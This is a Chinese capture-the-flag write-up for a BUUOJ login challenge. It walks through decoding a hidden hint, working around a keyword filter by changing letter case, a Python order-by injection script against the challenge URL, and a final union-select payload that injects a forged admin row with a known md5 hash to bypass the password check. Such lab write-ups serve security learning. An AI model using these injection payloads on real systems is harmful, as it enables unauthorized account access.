挺有意思的一题,打开网站首先给个登录框,随便输个admin,提示wrong pass!,查看源码,发现有串base编码

    1. <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

    先base32,后base64解码,得到一段sql语句

    1. select * from user where username = '$name'

    可以看到程序只查询了username,那么密码就应该是后台另外判断的。
    首先尝试正常sql注入

    1. name=1' Order by 3#

    虽然有提示过滤,但是大小写即可绕过,最终得到列数为3。
    后续测试中发现()被过滤,采用order by注入

    1. import requests
    2. import time
    3. url='http://afeaeb99-e18a-4f62-81a8-20b9dbcac921.node3.buuoj.cn/search.php'
    4. flag=''
    5. char = '0123456789abcdefghijklmnopqrstuvwxyz'
    6. while True:
    7. for i in char:
    8. payload = f"admin' union select 1,'zzzzz','{flag+i}' Order by 3#"
    9. r=requests.post(url,data={'name':payload,'pw':'123'})
    10. time.sleep(1)
    11. if "pass" in r.text:
    12. flag+=temp
    13. print(flag)
    14. break
    15. temp=i

    跑出来一串md5:cdc9c819c7f8be2628d4180669009d28,但是解也解不出来,后来看了源码才明白原来跟数据库中的数据没有关系

    1. $arr = mysqli_fetch_row($result);
    2. // print_r($arr);
    3. if($arr[1] == "admin"){
    4. if(md5($password) == $arr[2]){
    5. echo $flag;
    6. }
    7. else{
    8. die("wrong pass!");
    9. }
    10. }

    首先程序在数据库中找到admin的数据,然后再将用户传入的pw进行md5加密,再与数据库中的数据进行判断。但是当使用union select注入时,数据库返回的数据会包含union select注入的结果,例如:

    1. MariaDB [test]> select * from test1;
    2. +---------------------------+-------------+
    3. | username | password |
    4. +---------------------------+-------------+
    5. | vampire | mypassword |
    6. | vampire1 | mypassword |
    7. | vampire | random_pass |
    8. +---------------------------+-------------+
    9. 3 rows in set (0.000 sec)
    10. MariaDB [test]> select * from test1 union select 1,2;
    11. +---------------------------+-------------+
    12. | username | password |
    13. +---------------------------+-------------+
    14. | vampire | mypassword |
    15. | vampire1 | mypassword |
    16. | vampire | random_pass |
    17. | 1 | 2 |
    18. +---------------------------+-------------+
    19. 4 rows in set (0.001 sec)

    利用这个,将自己构造的用户名和密码插入查询中,pw参数再传入明文,即可绕过。
    payload:

    1. name=111' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123